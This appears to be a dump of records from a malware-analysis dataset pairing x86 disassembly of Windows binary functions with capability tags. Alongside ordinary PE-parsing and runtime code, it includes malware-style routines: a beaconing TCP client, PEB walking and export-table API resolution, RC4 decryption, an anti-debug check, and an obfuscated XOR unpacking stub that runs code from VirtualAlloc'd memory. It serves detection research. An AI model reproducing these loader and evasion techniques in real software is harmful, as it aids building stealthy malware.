joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40804c], 1
mov dword [0x408050], 1
mov dword [0x408054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret

Function at 0x401940
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call fcn.00402958
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call fcn.00402958
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort

Function at 0x402514
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x402533
mov eax, 0
jmp 0x402577
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402556
mov eax, 0
jmp 0x402577
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x402572
mov eax, 0
jmp 0x402577
mov eax, 1
leave
ret
Function at 0x402579
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x4025d8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x4025d0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x4025d0
mov eax, dword [ebp - 4]
jmp 0x4025ec
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x4025ad
mov eax, 0
leave
ret
Function at 0x10001012
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10002b73
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
push 4
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.10002aec
mov dword [ebp - 0x12c], 1
push 4
lea eax, [ebp - 0x12c]
push eax
push 1
push 6
push dword [ebp - 4]
call sub.wsock32.dll_setsockopt
lea eax, [ebp - 0x128]
push eax
push 0xffffffffffffffff
push dword [ebp + 0xc]
call fcn.10002b8a
push 2
lea eax, [ebp - 0x128]
push eax
call fcn.10002a60
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
cmp eax, 0x10000
jbe 0x1000109b
push eax
call fcn.10002b04
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x26], ax
mov word [ebp - 0x28], 2
mov dword [ebp - 0x12c], 1
lea eax, [ebp - 0x12c]
push eax
push 0x8004667e
push dword [ebp - 4]
call sub.wsock32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call sub.wsock32.dll_connect
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
call fcn.10002b39
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x1000112a
mov dword [ebp - 0x12c], 0
lea eax, [ebp - 0x12c]
push eax
push 0x8004667e
push dword [ebp - 4]
call sub.wsock32.dll_ioctlsocket
mov dword [ebp - 0x130], 1
mov eax, dword [ebp - 0x130]
pop esi
pop edi
pop ebx
leave
ret 0x10

Function at 0x10001462
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe4c
lea ecx, [ebp]
sub ecx, esp
push ecx
lea eax, [esp + 4]
push eax
call fcn.10002b73
push 0x2710
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x18e]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x1000147b
mov dword [ebp - 0x198], 0x10005010
lea eax, [ebp - 0x1a0]
push eax
push 0xffffffffffffffff
push 0x10005076
call fcn.10002b8a
lea eax, [ebp - 0x1a0]
push eax
call fcn.10002b04
mov dword [ebp - 0x1a4], eax
push dword [ebp - 0x1a4]
push dword [ebp - 0x198]
call fcn.10001898
test eax, eax
jne 0x10001502
cmp dword [ebp - 0x198], 0x10005010
jne 0x100014f6
mov dword [ebp - 0x198], 0x10005043
jmp 0x10001500
mov dword [ebp - 0x198], 0x10005010
jmp 0x100014c9
push 0x2bf20
call sub.kernel32.dll_Sleep
jmp 0x100014c9
Function at 0x100025ae
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
pushal
lea ecx, [ebp - 0x20]
sub ecx, esp
push ecx
lea eax, [esp + 0x24]
push eax
call fcn.10002b73
mov eax, 0xfffefdfc
mov ecx, 0x40
mov dword [ebp + ecx*4 - 0x404], eax
sub eax, 0x4040404
dec ecx
jne 0x100025d2
xor eax, eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0xc]
jmp 0x100025f2
inc bl
dec esi
je 0x100025e6
mov dl, byte ss:[ecx + ebp - 0x400]
add al, byte [ebx + edi]
add al, dl
mov dh, byte ss:[eax + ebp - 0x400]
mov byte ss:[ecx + ebp - 0x400], dh
mov byte ss:[eax + ebp - 0x400], dl
inc cl
jne 0x100025ed
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
test edi, edi
je 0x10002671
xor eax, eax
xor edx, edx
xor ecx, ecx
xor ebx, ebx
inc bl
mov dl, byte ss:[ebx + ebp - 0x400]
add al, dl
mov cl, byte ss:[eax + ebp - 0x400]
mov byte ss:[ebx + ebp - 0x400], cl
mov byte ss:[eax + ebp - 0x400], dl
add cl, dl
mov cl, byte ss:[ecx + ebp - 0x400]
xor byte [esi], cl
inc esi
dec edi
jne 0x1000262d
xor eax, eax
lea edi, [ebp - 0x400]
mov ecx, 0x40
cld
rep stosd dword es:[edi], eax
popal
leave
ret 0x10

Function at 0x10002967
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push edi
push esi
mov dword [ebp - 4], 0xa
cmp dword [ebp + 0x14], 0
je 0x10002987
push 0xffffffffffffffff
push dword [ebp + 0x14]
call sub.kernel32.dll_WaitForSingleObject
mov esi, dword [ebp + 0xc]
jmp 0x100029d0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call fcn.10002b39
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x100029d6
push 0
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x100029d6
sub dword [ebp + 0x10], eax
add esi, eax
dec dword [ebp - 4]
je 0x100029d6
cmp dword [ebp + 0x10], 0
jne 0x1000298c
cmp dword [ebp + 0x14], 0
je 0x100029e4
push dword [ebp + 0x14]
call sub.kernel32.dll_SetEvent
mov eax, dword [ebp + 0x10]
pop esi
pop edi
pop ebx
leave
ret 0x10

Function at 0x100029ee
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push edi
push esi
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp + 8]
call fcn.10002b39
lea edx, [ebp - 8]
cmp dword [ebp + 0x14], 0
jne 0x10002a15
xor edx, edx
push edx
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x10002a3a
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.wsock32.dll_recv
pop esi
pop edi
pop ebx
leave
ret 0x10
Function at 0x10002a60
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd4
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10002b73
push 0x20
lea eax, [ebp - 0x20]
push eax
call fcn.10002b73
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 6
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp + 8]
call sub.ws2_32.dll_getaddrinfo
or eax, eax
jne 0x10002adf
mov esi, dword [ebp - 0x24]
jmp 0x10002adb
cmp dword [ebp + 0xc], 2
jne 0x10002ad8
cmp dword [esi + 4], 2
jne 0x10002ad8
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x42c], eax
push dword [ebp - 0x24]
call sub.ws2_32.dll_freeaddrinfo
jmp 0x10002adf
mov esi, dword [esi + 0x1c]
or esi, esi
jne 0x10002ab6
mov eax, dword [ebp - 0x42c]
pop esi
pop edi
pop ebx
leave
ret 8

Function at 0x10002d9b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push edi
push esi
mov dword [ebp - 0xc], 0x64
push 0
push 0x80
push dword [ebp + 0x14]
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x10002dd9
cmp dword [ebp - 0xc], 0
je 0x10002dd9
dec dword [ebp - 0xc]
jmp 0x10002dab
cmp dword [ebp - 4], 0xffffffff
je 0x10002e0a
push dword [ebp + 0x18]
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop esi
pop edi
pop ebx
leave
ret 0x14

Function at 0x10002e11
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaf4
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10002b73
lea eax, [ebp - 0x50c]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10002b8a
lea edx, [ebp - 0x50c]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov esi, dword [esi]
mov edi, dword [esi + 0x30]
xor ecx, ecx
cmp byte [ecx + edx], 0
je 0x10002ef7
mov al, byte [edi]
mov ah, al
cmp al, 0x41
jb 0x10002e75
cmp al, 0x5a
ja 0x10002e75
add ah, 0x20
jmp 0x10002e80
cmp al, 0x61
jb 0x10002e80
cmp al, 0x7a
ja 0x10002e80
sub ah, 0x20
cmp byte [ecx + edx], al
je 0x10002e8c
cmp byte [ecx + edx], ah
je 0x10002e8c
jmp 0x10002e92
add edi, 2
inc ecx
jmp 0x10002e5a
cmp esi, ebx
jne 0x10002e53
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x50c]
push eax
call fcn.10002c82
mov word [ebp - 8], ax
mov word [ebp - 6], ax
add word [ebp - 6], 2
lea eax, [ebp - 0x108]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push str.ntdll.dll
call fcn.10002e11
push str.LdrLoadDll
push eax
call fcn.10002f01
call eax
mov eax, dword [ebp - 0x10c]
jmp 0x10002efa
mov eax, dword [esi + 0x18]
pop esi
pop edi
pop ebx
leave
ret 4
Function at 0x10002f01
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa68
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10002b73
lea eax, [ebp - 0x598]
push eax
push 0xffffffffffffffff
push dword [ebp + 0xc]
call fcn.10002b8a
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x3c]
mov dx, word [eax + esi + 0x18]
cmp dx, 0x20b
jne 0x10002f50
mov edx, dword [eax + esi + 0x88]
mov ecx, dword [eax + esi + 0x8c]
jmp 0x10002f58
mov edx, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x7c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
or eax, eax
je 0x10002ffb
lea eax, [edx + esi]
mov edx, dword [eax + 0x18]
mov dword [ebp - 4], edx
mov edx, dword [eax + 0x1c]
mov dword [ebp - 8], edx
add dword [ebp - 8], esi
mov edx, dword [eax + 0x20]
mov dword [ebp - 0xc], edx
add dword [ebp - 0xc], esi
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x10], edx
add dword [ebp - 0x10], esi
xor ebx, ebx
mov edi, dword [ebp - 0xc]
jmp 0x10002ff6
mov eax, dword [edi + ebx*4]
add eax, esi
push eax
lea eax, [ebp - 0x598]
push eax
call fcn.10002ccf
or eax, eax
je 0x10002ff5
mov edx, dword [ebp - 0x10]
mov ax, word [edx + ebx*2]
mov edx, dword [ebp - 8]
mov eax, dword [edx + eax*4]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
add edx, esi
add eax, esi
add ecx, edx
cmp eax, edx
jbe 0x10002ff3
cmp eax, ecx
ja 0x10002ff3
mov esi, eax
mov edi, eax
mov al, 0x2e
repne scasb al, byte es:[edi]
sub edi, esi
mov ecx, edi
lea edi, [ebp - 0x198]
rep movsb byte es:[edi], byte [esi]
mov byte [edi - 1], 0
lea eax, [ebp - 0x198]
push eax
call fcn.10002e11
push esi
push eax
call fcn.10002f01
jmp 0x10002ffd
inc ebx
cmp ebx, dword [ebp - 4]
jb 0x10002f91
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret 8
Function at 0x403297
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push 0x400
call fcn.00407fb0
mov dword [esp], eax
push dword [0x40e7a8]
push dword [0x40e7a8]
call fcn.0040811d
lea eax, [esp + 8]
push eax
call fcn.0040ab90
push dword [esp]
push 0
push 0x40d01e
push dword [esp + 0x10]
call sub.KERNEL32.dll_GetTempFileNameA
push dword [0x40e7a8]
push dword [0x40e7a8]
push dword [esp + 8]
call fcn.00407ec0
lea eax, [0x40e4b0]
push eax
jmp loc.00411a67
Function at 0x1001aee9
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x100d0db4
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100dbeac
mov dword [esi + 8], 0x100d97c0
mov dword [esi + 0xc], eax
mov dword [ebp - 4], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x60], eax
push fcn.1000b96d
push 0x1001b0f6
push 6
lea eax, [esi + 0x160]
push 8
push eax
mov byte [ebp - 4], 7
call fcn.10036d3b
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x100dbe78
mov dword [esi + 4], 0x100dbe5c
mov dword [esi + 8], 0x100dbe4c
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x100248ea
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
push esi
mov ecx, dword [esp + 8]
lea esi, [edx + ecx]
cmp edx, esi
je 0x10024919
push edi
movzx edi, byte [edx]
mov ecx, eax
and ecx, 0xff
xor ecx, edi
shr eax, 8
movzx ecx, word [ecx*2 + 0x100f75d0]
xor eax, ecx
inc edx
cmp edx, esi
jne 0x100248f9
pop edi
pop esi
ret 4

Function at 0x10029218
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x100d1c35
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100d9c7c
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
call fcn.1000250f
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x100dd620
mov dword [esi + 4], 0x100dd610
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x10036873
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x100d2a11
call fcn.100cece0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100dee40
mov dword [esi + 4], 0x100dee30
lea ecx, [esi + 0x158]
mov dword [ebp - 4], 0xf
call fcn.100c98e0
mov eax, dword [esi + 0x85c]
test eax, eax
je 0x100368b3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esi + 0x850]
call fcn.100034b3
mov eax, dword [esi + 0x154]
pop ecx
test eax, eax
mov byte [ebp - 4], 0xd
je 0x100368d3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x14c]
mov byte [ebp - 4], 0xc
test eax, eax
je 0x100368e7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x144]
mov byte [ebp - 4], 0xb
test eax, eax
je 0x100368fb
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esi + 0x128]
call fcn.100034b3
push dword [esi + 0x11c]
call fcn.100034b3
push dword [esi + 0x110]
call fcn.100034b3
mov eax, dword [esi + 0xf8]
add esp, 0xc
test eax, eax
mov byte [ebp - 4], 7
je 0x10036933
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esi + 0x7c]
call fcn.100034b3
pop ecx
mov byte [ebp - 4], 5
lea ecx, [esi + 0x5c]
call fcn.10036984
lea ecx, [esi + 0x3c]
mov byte [ebp - 4], 4
call fcn.10036984
push dword [esi + 0x30]
call fcn.100034b3
push dword [esi + 0x24]
call fcn.100034b3
push dword [esi + 0x18]
call fcn.100034b3
push dword [esi + 0xc]
call fcn.100034b3
mov ecx, dword [ebp - 0xc]
add esp, 0x10
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x10036d3b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10036d4a
pop dword [ebp - 0x14]
mov eax, 0x9d9d21a8
add eax, 0x72664ba2
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x425cd
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x4eabd600
sub ecx, 0x4eab9403
xor edx, edx
add edx, eax
mov ebx, 0x622c04b5
add ebx, 0xade6194b
add ebx, dword [ebp - 0x14]
mov edi, 0x8962f516
xor dword [ebp - 4], 0x75116be5
mov esi, dword [ebx]
sub dword [ebp - 0x10], esi
xor esi, edi
xor dword [ebp - 0xc], 0x3b77b01b
mov dword [edx], esi
xor dword [ebp - 0xc], ecx
add edx, 4
add ebx, 0x4f192c9f
add ebx, 0xb0e6d365
loop 0x10036da0
add eax, 0xb33f8457
add eax, 0x4cc17670
xor ebx, ebx
add ebx, eax
add eax, 0x33611cc6
sub eax, 0x33611cc1
mov ecx, 0xa56c50dd
add ecx, 0x6a93af23
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x1003bdf2
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x100d2e20
call fcn.100cece0
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.10001da4
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.10001da4
mov eax, dword [edi + 0x18]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x18], eax
mov eax, dword [edi + 0x1c]
mov dword [esi + 0x1c], eax
mov eax, dword [edi + 0x20]
mov dword [esi + 0x20], eax
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov al, byte [edi + 0x28]
mov byte [esi + 0x28], al
mov al, byte [edi + 0x29]
mov byte [esi + 0x29], al
mov al, byte [edi + 0x2a]
mov byte [esi + 0x2a], al
mov al, byte [edi + 0x2b]
mov byte [esi + 0x2b], al
mov al, byte [edi + 0x2c]
mov byte [esi + 0x2c], al
mov eax, dword [edi + 0x30]
mov dword [esi + 0x30], eax
mov eax, dword [edi + 0x34]
mov dword [esi + 0x34], eax
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x1003d158
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x100d2f94
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100d97c0
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 3
call fcn.1000250f
mov al, byte [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov byte [esi + 0x40], al
mov dword [esi], 0x100dfbf0
mov dword [esi + 4], 0x100dfbe0
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x1003d1ee
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x100d2fca
call fcn.100cece0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [esi + 0x30]
mov dword [ebp - 4], 2
call fcn.100034b3
pop ecx
lea ecx, [esi + 0x24]
call fcn.1001dbf6
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.1003d394
and byte [ebp - 4], 0
lea ecx, [esi + 0xc]
call fcn.1003d2d7
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x1004196c
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Get ntdll base address

Disassembly:
mov eax, 0x100d347d
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov byte [esi], al
mov byte [esi + 1], al
mov byte [esi + 2], al
mov byte [esi + 3], al
mov byte [esi + 4], al
mov byte [esi + 5], al
mov byte [esi + 6], al
mov byte [esi + 7], al
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [ebp - 4], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
lea ecx, [esi + 0x58]
mov byte [ebp - 4], 2
call fcn.100416f8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x1004239e
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x100d3582
call fcn.100cece0
push ecx
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.10001d48
xor ebx, ebx
lea ecx, [esi + 0xc]
mov dword [ebp - 4], ebx
call fcn.10001d48
mov dword [esi + 0x18], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x40], ebx
lea ecx, [esi + 0x4c]
mov byte [ebp - 4], 1
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
call fcn.10001d48
lea ecx, [esi + 0x58]
mov byte [ebp - 4], 2
call fcn.10001d48
or dword [esi + 0x7c], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov byte [esi + 0x64], bl
mov byte [esi + 0x65], bl
mov byte [esi + 0x66], bl
mov byte [esi + 0x67], bl
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret